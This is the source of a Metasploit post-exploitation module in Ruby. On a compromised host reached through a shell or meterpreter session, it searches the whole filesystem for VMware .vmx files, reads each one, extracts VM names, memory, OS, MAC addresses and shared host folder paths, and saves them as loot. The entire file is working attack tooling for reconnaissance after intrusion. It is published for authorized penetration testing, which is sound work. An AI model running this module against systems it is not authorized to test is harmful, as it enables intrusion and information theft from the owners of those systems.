## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'yaml' class MetasploitModule < Msf::Post include Msf::Post::File def initialize(info = {}) super( update_info( info, 'Name' => 'Multi Gather VMWare VM Identification', 'Description' => %q{ This module will attempt to find any VMWare virtual machines stored on the target. }, 'License' => MSF_LICENSE, 'Author' => ['theLightCosine'], 'Platform' => %w[bsd linux osx unix win], 'SessionTypes' => ['shell', 'meterpreter' ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ core_channel_eof core_channel_open core_channel_read core_channel_write stdapi_fs_search ] } } ) ) end def run if session_has_search_ext vms = meterp_search elsif session.platform =~ /unix|linux|bsd|osx/ vms = nix_shell_search end report_vms(vms) if vms end def report_vms(vms) output = "VMWare Virtual Machines\n" output << "--------------------------------\n" vms.each do |vm| next if vm.empty? output << "Name: #{vm['name']}\n" output << "Virtual CPUs: #{vm['cpus']}\n" output << "Memory: #{vm['memsize']}\n" output << "Operating System: #{vm['os']}\n" output << "Network Type: #{vm['eth_type']}\n" output << "MAC Address: #{vm['mac']}\n" output << "Shared Folders:\n" vm['SharedFolders'].each do |folder| output << "\tHost Location: #{folder}\n" end output << "\n" end print_good output store_loot('vmware_vms', 'text/plain', session, output, 'vmware_vms.txt', 'VMWare Virtual Machines') end def nix_shell_search vms = [] res = session.shell_command('find / -name "*.vmx" -type f -print 2>/dev/null') res.each_line do |filename| next unless filename.start_with? '/' begin parse = session.shell_command("cat #{filename}") vms << parse_vmx(parse, filename) rescue StandardError print_error "Could not read #{filename} properly" end end return vms end def meterp_search vms = [] res = session.fs.file.search(nil, '*.vmx', true, -1) res.each do |vmx| filename = "#{vmx['path']}\\#{vmx['name']}" next if filename.end_with? '.vmxf' begin config = client.fs.file.new(filename, 'r') parse = config.read vms << parse_vmx(parse, filename) rescue StandardError print_error "Could not read #{filename} properly" end end return vms end def parse_vmx(vmx_data, filename) vm = {} unless vmx_data.nil? || vmx_data.empty? vm['SharedFolders'] = [] vmx_data.each_line do |line| data = line.split('=') vm['path'] = filename case data[0] when 'memsize ' vm['memsize'] = data[1].gsub!('"', '').lstrip.chomp when 'displayName ' vm['name'] = data[1].gsub!('"', '').lstrip.chomp when 'guestOS ' vm['os'] = data[1].gsub!('"', '').lstrip.chomp when 'ethernet0.connectionType ' vm['eth_type'] = data[1].gsub!('"', '').lstrip.chomp when 'ethernet0.generatedAddress ' vm['mac'] = data[1].gsub!('"', '').lstrip.chomp when 'numvcpus ' vm['cpus'] = data[1].gsub!('"', '').lstrip.chomp when 'sharedFolder0.hostPath ' vm['SharedFolders'] << data[1].gsub!('"', '').lstrip.chomp end end vm['cpus'] ||= '1' end return vm end def session_has_search_ext return !!(session.fs and session.fs.file) rescue NoMethodError return false end end